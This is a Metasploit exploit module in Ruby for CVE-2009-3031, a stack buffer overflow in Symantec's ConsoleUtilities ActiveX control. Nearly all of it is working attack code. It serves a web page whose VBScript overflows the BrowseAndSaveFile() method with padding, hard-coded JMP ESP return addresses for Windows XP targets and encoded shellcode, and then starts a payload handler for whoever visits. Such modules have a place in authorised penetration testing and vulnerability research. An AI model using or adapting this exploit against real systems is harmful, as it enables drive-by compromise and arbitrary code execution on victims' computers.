This Metasploit module exploits a stack overflow in Symantec ConsoleUtilities. By sending an overly long string to the "BrowseAndSaveFile()" method located in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to execute arbitrary code.
7c2677559b384201501422a3ddf86666515f1b169805b0d9200c4c0e134447b3##
# Use it only for education or ethical pentesting! The author accepts no liability for damage caused by this tool.
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Symantecs ConsoleUtilities.
By sending an overly long string to the "BrowseAndSaveFile()" method located
in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Nikolas Sotiriu (lofi)' ],
'Version' => '1.0',
'References' =>
[
[ 'CVE', '2009-3031'],
[ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
[ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
[ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
],
'DisclosureDate' => 'Nov 02 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize variables
vname = rand_text_alpha(rand(20) + 1)
junk = rand_text_alpha(rand(20) + 1)
eip = rand_text_alpha(rand(20) + 1)
morejunk = rand_text_alpha(rand(20) + 1)
sc = rand_text_alpha(rand(20) + 1)
buf = rand_text_alpha(rand(20) + 1)
# Set RET and shellcode
ret = Rex::Text.to_unescape([target.ret].pack('V'))
shellcode = Rex::Text.to_unescape(p.encoded)
# Build the Site
content = %Q|
<html>
<object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
<script language='vbscript'>
arg1 = ""
arg3 = ""
arg4 = ""
arg5 = ""
#{junk}=String(310, "A")
#{eip}=unescape("#{ret}")
#{morejunk}=String(18, unescape("%u0041"))
#{sc}=unescape("#{shellcode}")
#{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
#{vname}.BrowseAndSaveFile arg1,#{buf},arg3,arg4,arg5
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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